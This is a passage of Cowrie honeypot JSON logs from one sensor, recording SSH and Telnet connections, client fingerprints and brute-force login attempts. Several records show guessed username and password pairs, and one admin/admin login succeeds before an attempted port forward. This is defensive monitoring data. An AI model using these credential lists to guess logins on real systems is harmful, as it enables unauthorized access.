sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:28:05.927393Z","src_ip":"213.209.159.56","session":"bdeb7afb6d92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yehuda","password":"yehuda","message":"login attempt [yehuda/yehuda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:28:06.327298Z","src_ip":"213.209.159.56","session":"bdeb7afb6d92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yehuda","password":"yehuda1","message":"login attempt [yehuda/yehuda1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:28:07.412980Z","src_ip":"213.209.159.56","session":"bdeb7afb6d92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yehuda","password":"yehuda123","message":"login attempt [yehuda/yehuda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:28:08.497431Z","src_ip":"213.209.159.56","session":"bdeb7afb6d92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yehuda","password":"yehuda1234","message":"login attempt [yehuda/yehuda1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:28:09.582746Z","src_ip":"213.209.159.56","session":"bdeb7afb6d92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yehuda","password":"yehuda12345","message":"login attempt [yehuda/yehuda12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:28:10.668538Z","src_ip":"213.209.159.56","session":"bdeb7afb6d92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:28:11.753352Z","src_ip":"213.209.159.56","session":"bdeb7afb6d92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:28:14.088551Z","src_ip":"95.163.227.223","session":"534291fa3a7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58096,"dst_ip":"159.203.135.109","dst_port":22,"session":"05426259570e","protocol":"ssh","message":"New connection: 80.94.92.184:58096 (159.203.135.109:22) [session: 05426259570e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:00.363543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:00.549011Z","src_ip":"80.94.92.184","session":"05426259570e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:00.554314Z","src_ip":"80.94.92.184","session":"05426259570e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:01.843352Z","src_ip":"80.94.92.184","session":"05426259570e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:03.131526Z","src_ip":"80.94.92.184","session":"05426259570e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.182.110.143","src_port":19992,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf4c4887db8c","protocol":"ssh","message":"New connection: 185.182.110.143:19992 (10.17.0.5:22) [session: bf4c4887db8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:06.722812Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":40532,"dst_ip":"159.203.135.109","dst_port":22,"session":"0161bfc16ab3","protocol":"ssh","message":"New connection: 103.153.68.219:40532 (159.203.135.109:22) [session: 0161bfc16ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:08.099463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:08.103644Z","src_ip":"103.153.68.219","session":"0161bfc16ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:08.354702Z","src_ip":"103.153.68.219","session":"0161bfc16ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"demon666","message":"login attempt [root/demon666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:09.098192Z","src_ip":"103.153.68.219","session":"0161bfc16ab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54018,"dst_ip":"10.17.0.5","dst_port":23,"session":"51be9cda1381","protocol":"telnet","message":"New connection: 50.6.8.71:54018 (10.17.0.5:23) [session: 51be9cda1381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:09.681196Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:10.348233Z","src_ip":"103.153.68.219","session":"0161bfc16ab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":45534,"dst_ip":"159.203.135.109","dst_port":22,"session":"635297f5afc0","protocol":"ssh","message":"New connection: 103.75.182.198:45534 (159.203.135.109:22) [session: 635297f5afc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:24.782333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:24.787303Z","src_ip":"103.75.182.198","session":"635297f5afc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:25.029973Z","src_ip":"103.75.182.198","session":"635297f5afc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vadim123","message":"login attempt [root/vadim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:25.760196Z","src_ip":"103.75.182.198","session":"635297f5afc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:27.006022Z","src_ip":"103.75.182.198","session":"635297f5afc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":40716,"dst_ip":"159.203.135.109","dst_port":22,"session":"c58d3e54e623","protocol":"ssh","message":"New connection: 103.75.183.219:40716 (159.203.135.109:22) [session: c58d3e54e623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:34.708746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:34.714082Z","src_ip":"103.75.183.219","session":"c58d3e54e623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:34.963154Z","src_ip":"103.75.183.219","session":"c58d3e54e623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1978","message":"login attempt [root/1978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:35.700386Z","src_ip":"103.75.183.219","session":"c58d3e54e623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:36.949274Z","src_ip":"103.75.183.219","session":"c58d3e54e623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.462706565856934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:41.143786Z","src_ip":"50.6.8.71","session":"51be9cda1381","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.104.69.141","src_port":58783,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2ee7297f5b9","protocol":"ssh","message":"New connection: 89.104.69.141:58783 (10.17.0.5:22) [session: e2ee7297f5b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:43.615958Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46542,"dst_ip":"10.17.0.5","dst_port":22,"session":"2089fd4d6cf1","protocol":"ssh","message":"New connection: 87.251.64.176:46542 (10.17.0.5:22) [session: 2089fd4d6cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:44.902758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:44.907726Z","src_ip":"87.251.64.176","session":"2089fd4d6cf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:45.005232Z","src_ip":"87.251.64.176","session":"2089fd4d6cf1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:45.297090Z","src_ip":"87.251.64.176","session":"2089fd4d6cf1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:45.400602Z","session":"2089fd4d6cf1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:45.499240Z","src_ip":"87.251.64.176","session":"2089fd4d6cf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:45.734453Z","src_ip":"87.251.64.176","session":"2089fd4d6cf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":53298,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2d58ac898ed","protocol":"ssh","message":"New connection: 103.27.238.114:53298 (159.203.135.109:22) [session: c2d58ac898ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:51.541676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:51.546137Z","src_ip":"103.27.238.114","session":"c2d58ac898ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:51.806839Z","src_ip":"103.27.238.114","session":"c2d58ac898ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc1","message":"login attempt [root/qazwsxedc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:52.588580Z","src_ip":"103.27.238.114","session":"c2d58ac898ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:29:53.852453Z","src_ip":"103.27.238.114","session":"c2d58ac898ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.146.152","src_port":43434,"dst_ip":"10.17.0.5","dst_port":22,"session":"27d0b56eabee","protocol":"ssh","message":"New connection: 62.173.146.152:43434 (10.17.0.5:22) [session: 27d0b56eabee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:30:18.829593Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:06.746170Z","src_ip":"185.182.110.143","session":"bf4c4887db8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:43.627961Z","src_ip":"89.104.69.141","session":"e2ee7297f5b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":48742,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c5cd85fbf3d","protocol":"ssh","message":"New connection: 103.27.238.120:48742 (159.203.135.109:22) [session: 8c5cd85fbf3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:45.776028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:45.781106Z","src_ip":"103.27.238.120","session":"8c5cd85fbf3d","protocol":"ssh"}
